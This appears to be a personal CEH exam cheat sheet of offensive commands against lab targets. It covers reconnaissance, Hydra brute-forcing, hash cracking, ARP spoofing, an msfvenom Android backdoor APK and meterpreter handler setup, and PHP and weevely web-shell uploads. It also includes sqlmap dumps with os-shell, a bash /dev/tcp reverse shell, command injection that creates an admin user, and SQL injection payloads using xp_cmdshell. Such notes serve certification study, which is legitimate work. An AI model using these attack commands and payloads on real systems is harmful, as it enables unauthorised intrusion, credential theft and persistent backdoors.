Footprinting and Reconnaissance

□ DNS

theHarvester -d microsoft.com -l 200 -b google – -d specifies the domain to search, -l specifies the number of results to be retrieved, and -b specifies the data source.
osrf ± domainfy.py -n eccouncil -t all – -n (domain name), -t (type)
dnsrecon -r 162.241.216.0-162.241.216.255 – (reverse DNS) locates DNST PTR record for the range (-r) 162.241.261.0-255.

□ Social-Network

theHarvester -d "PRT Air Force" -l 200 -b linkedin – -d specifies the domain to search, -l specifies the number of results to be retrieved, and -b specifies the data source.
orsf ± usufy.py -n Mark Zuckerberg -p twitter facebook youtube – -n [target user name or profile name] is the list of nicknames to process, -p [target plaform] is(are) the target platform(s) for search.
Python3 sherlock.py Pedro Proenca – find "Pedro Proenca" on diverse URLs (eg.www.google.com/pedroproenca)

□ Frame size

ping www.certifiedhacker.com -f -l 1500 - -f means no fragmentation and the -l sets the frame size. We need to adjust the size according to the replies (reply/need frag).

□ Copy wordlist from site

cewl -w wordlist.txt -d 2 -m 5 www.certifiedhacker.com – copies the result to worldlist.txt (-w worldlist.txt).

□ Web Servers

nc -vv www.moviescope.com 80 ± GET / HTTP/1.0 – banner grabbing
telnet www.moviescope.com 80 ± GET / HTTP/1.0 – banner **grabbingskipfish -o /root/test -S /usr/share/skipfish/dictionaries/complete.wl http://10.10.10.16:8080** - test is the output directory where the result of this command will be stored in index.html in this location; the complete.wl is the dictionary file based on the web server's requirements that will be used for a brute-force attack; 10.10.10.16 is the IP of the webserver.

□ Web Applications

whatweb -v www.moviescope.com
whatweb --log-verbose=MovieScope_Report www.moviescope.com - this will generate a report with the name MovieScope_Report on root folder.
zaproxy > automated scan > active scan
dig ± lbd yahoo.com - lbd (load balancing detector) detects if a given domain uses DNS and http load balancing via the Server: and Date: headers and the differences between server answers. It analyzes the data received from application responses to detect load balancers.
wpscan --url http://10.10.10.12:8080/CEH --enumerate u - Wordpress
auxiliary/scanner/http/wordpress_login_enum - WP password bruteforce (metasploit)

□ Other tools and notes

Maltego
Foca
Recon-dog
Netcraft.com
Httprecon (web)

Vulnerability Analisis

□ Nessus

Nessus runs on https://localhost:8834
Username: admin
Password: password
Nessus-> Policies-> Advanced scan.

□ Searchsploit

sudo apt update && sudo apt -y install exploitdb

□ linPEAS

□ Nikto

nikto -h www.certifiedhacker.com -Tuning x - -h: specifies the target host and x: specifies the Reverse Tuning Options (i.e., include all except specified)., target website is certifiedhacker.com
nikto -h www.certifiedhacker.com -o Nickto_Scan_Results -F txt - -h: specifies the target, -o: specifies the name of the output file, and -F: specifies the file format. www.certifiedhacker.com is the website. Name the file Nikto_Scan_Results

□ SQL

cd DSSS ± python3 dsss.py ± Inspect the webpage and search for the document.cookie ± python3 dsss.py -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="[cookie value which you have copied in Step 7]" - -u specifies the target URL and --cookie specifies the HTTP cookie header value. **± Go to the webpage dsss shows**
OWASP ZAP > Automated scan > enter URL to attack > attack

□ Other tools and notes

https://www.exploit-db.com/

Hacking Web Servers

□ Wireshark

http.request.method == "POST"
> Wireshark filter for filtering HTTP POST request
Capture traffic from remote interface via wireshark
Capture > Options
> Manage Interfaces
Remote Interface
> Add >
Host & Port (2002)
Username & password > Start

□ Detect Sniffing

nmap --script=sniffer-detect 10.10.10.19 - 10.10.10.19 is the target IP

Hacking Mobile

□ Metasploit – Binary payloads

> service postgresql start
> msfvenom -p android/meterpreter/reverse_tcp --platform android -a dalvik LHOST=10.10.10.13 R > Desktop/Backdoor.apk - This command creates an APK backdoor on Desktop under the Root directory. 10.10.10.13 is the IP of Parrot.
> share the file
> msfconsole
> use exploit/multi/handler
> set payload android/meterpreter/reverse_tcp and press Enter.
> set LHOST 10.10.10.13 and press Enter.
> Type show options to see if Listenning port is 4444.
> exploit -j -z - this command will run the exploit as a background job.
> session -i 1 - 1 specifies the number of the session of the Meterpreter shell that is launched.
> cd /sdcard
> **ps** – shows the running process

□ PhoneSploit – Exploit through ADB

> cd PhoneSploit
> python3 -m pip install colorama
> python3 phonesploit.py
> 3 to connecto to a new phone (type 3 until the ip add option appears)
> insert the ip of the phone

Scanning Networks

□ Port and Service Discovery

nmap -sT (TCP), **-sU** (UDP),**-sS** (Stealth TCP), **-sA** (Ack), **-Pn** (no host, port only), **-p-** (all ports), **-v** (verbose)
portscan (ack, syn,... metasploit)

□ Host and Version Discovery

nmap -A (aggrssive), **-sV** (service version)
netdiscover -r <IP of network/24>

□ OS Detection and SMB

nmap -O (OS), **-sV** (service version), **--script smb-os-discovery**
enum4linux -u martin -p apple -o 10.10.10.12 - -o OS Enumeration

□ SMB

smb_version > set RHOSTS 10.10.10.5-20 > set THREADS 11 (metasploit)
enum4linux -u martin -p apple -S 10.10.10.12 - -S Share Policy Information (SMB Shares Enumeration)

□ Behind Firewall

-f (fragmentation scan), **-Pn** (no host), **-g** (source port), **-D RND:10** (-D performs a decoy scan, RND generates a random and non-reserved IP addresses.

□ Web

uniscan -u http://10.10.10.16:8080/CEH -q – scans for web directories. 10.10.10.16 is the IP of Windows Server 2016. -u switch is used to provide the target URL. -q switch is used to scan the directories in the web server. we can replace the "**-q**" with **-we** for file check and **-d** for dynamic scan.
gobuster dir -w /usr/share/wordlists/dirb/common.tx -u 10.129.216.40
gobuster dir --url http://{TARGET_IP}/ --wordlist/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
nmap -sV --script=http-enum www.goodshopping.com - the target here is www.goodshopping.com

□ Other tools and notes

Hping (https://adithyanak.gitbook.io/ceh-practical/)
Nmap (https://www.stationx.net/nmap-cheat-sheet/)
Metasploit
msfdb init + service postgresql (or restart**) + msfconsole + msf > db_status >**
nmap -Pn -sS -A -oX Test 10.10.10.0/24
db_import Test
hosts -> To show all available hosts in the subnet
db_nmap -sS -A 10.10.10.16 -> To extract services of particular machine
services -> to get all available services in a subnet

System Hacking

□ Crack and Audit Password

sudo snap install john-the ripper ± sudo john /home/ubuntu/Responder/logs/SMB-NTLMv2-SSP-10.10.10.10.txt - cracks password of the SMB-NTLMv2(...) .txt file
zip2john {file name.zip} > hashes ± john -wordlist=/usr/share/wordlists/rockyou.txt hashes - use the following command to bruteforce against the hash stroed in file hashes.

□ Hashcracking and Hashgrabbing

hashcat -a 0 -m 0 {file with the hash} /usr/share/wordlists/rockyou.txt
cd Responder + chmod +x./Responder.py + sudo ./Responder.py -I eth0 – check usr\share\responder\logs

□ Hydra

hydra -l root -P passwords.txt [-t 32] <IP> ftp
hydra -L usernames.txt -P pass.txt <IP> mysql
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
hydra -P common-snmp-community-strings.txt target.com snmp
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
hydra -l USER -P p/usr/share/wordlists/rockyou.txt ssh://{Target IP} – SSH Bruteforce
hydra -L /root/Desktop/Wordlists/Usernames.txt -P /root/Desktop/Wordlists/Passwords.txt ftp://10.10.10.11 – FTP Bruteforce

□ macof – MAC flooding

macof -i eth0 -n 10 - -i specifies the interface and -n specifies the number of packets to be sent (10 in this case)
macof -i eth0 -d [Target IP] - -d specifies the destination IP address

□ Yersinia – DHCP starvation

yersinia -I - -I starts an interactive ncurses session.

□ arpspoof – ARP Poisoning

arpspoof -i eth0 -t 10.10.10.1 10.10.10.10 - -i specifies network interface and -t specifies the target IP add

□ MAC Spoof

TMAC
SMAC

□ SMB

sudo apt install smbclient > smbclient -L {IP} -U Administrator > smbclient \\\\10.10.10.131\\C$ -U Administrator
smbclient -N -L \\\\{TARGET_IP}\\ (no password)

□ Other tools and notes

L0phtCrack(pass crack & audit)
RainbowCrack

Cryptography

□ Other tools and notes

HackCalc
MD5 Calculator
HashMyFiles
CryptoForge
CrypTool
AlphaPeeler

Enumeration

□ NetBIOS Enumeration

netstat -a 10.10.10.10 - -a displays the NetBIOS name table of a remote computer (here 10.10.10.10).
nbtstat -c - -c lists the contents of the NetBIOS name cache of the remote computer.
nmap -sV -v --script nbstat.nse 10.10.10.16

□ SNMP

snmp-check 10.10.10.16

□ NFS

rcpinfo -p 10.10.10.16
showmount -e 10.10.10.16

□ DNS

dnsrecon -d www.certifiedhacker -z - --d specifies the target domain and -z specifies that the DNSSEC zone walk be performed with standard enumeration.
nslookup ± querytype = soa - sets the query type to SOA (Start of Authority) record to retrieve administrative information about the DNS zone of the target domain certifiedhacker.com.
nslookup ± ls -d ns1.bluehost.com - ls -d requests a zone transfer of the specified name server (ns1.bluehost.com).

□ SMTP

smtp-user-enum

□ Other tools

Enum4linux
enum4linux -u martin -p apple -U 10.10.10.12 -> Users Enumeration
enum4linux -u martin -p apple -P 10.10.10.12 -> Password Policy Information
enum4linux -u martin -p apple -G 10.10.10.12 -> Groups Information
nmap -p X -A {ip} – scans the protocol we want
Active Directory Explorer (Active Dir)
NetScanTools Pro (SMB, RPC Enum).

Sniffing

□ Wireshark

http.request.method == "POST" -> Wireshark filter for filtering HTTP POST request
Capture traffic from remote interface via wireshark
Capture > Options > Manage Interfaces
Remote Interface > Add > Host & Port (2002)
Username & password > Start

□ Detect Sniffing

nmap --script=sniffer-detect 10.10.10.19 - 10.10.10.19 is the target IP

Hacking Web Applications

□ Command Injection

| net user Test /Add > | net localgroup Administrators Test /Add > | net user Test > remote login with the user

□ File Upload metasploit

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.13 LPORT=4444 -f raw - here 10.10.10.13 is the IP of the host machine. We can use 'LHOST=' or 'LHOST-'
> copy the payload to a .php
> Type set **payload php/meterpreter/reverse_tcp** and press Enter
> Type **set LHOST 10.10.10.13** and press Enter
> Type set **LPORT 4444** and press Enter
> Go to where the file is http://10.10.10.16:8080/dvwa/hackable/**uploads**/upload.php
> session might be established.

□ File Upload weevely

weevely generate toor /home/attacker/Desktop/shell.php
> go to website and upload the file.
> session might be established
/usr/share/webshells/
> go to website and upload the file.
> nc the port
> python3 -c 'import pty;pty.spawn("/bin/bash")'
> session might be established C

SQL Injection

□ sqlmap

sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="xookies xxx" --dbs - SQLMAP Extract DBS
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="cookies xxx" -D moviescope --tables - Extract Tables
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="cookies xxx" -D moviescope -T User_Login --columns - Extract Columns
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="cookies xxx" -D moviescope -T User_Login --dump - Dump Data

sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="cookies xxx" --os-shell - OS Shell to execute commands
> nc
> bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"
>python3 -c 'import pty;pty.spawn("/bin/bash")'
>CTRL+Z
>stty raw -echo
>fg
>export TERM=xterm

□ Other

blah' or 1=1 -- - Login bypass
blah';insert into login values ('john','apple123'); - Insert data into DB from login
blah';create database mydatabase; - Create database from login
blah';exec master..xp_cmdshell 'ping www.moviescope.com -l 65000 -t'; -- - Execute cmd from login

Hacking Wireless Networks

□ Aircrack-ng

aircrack-ng '/home/attacker/Desktop/Sample Captures/WEPcrack-01.cap'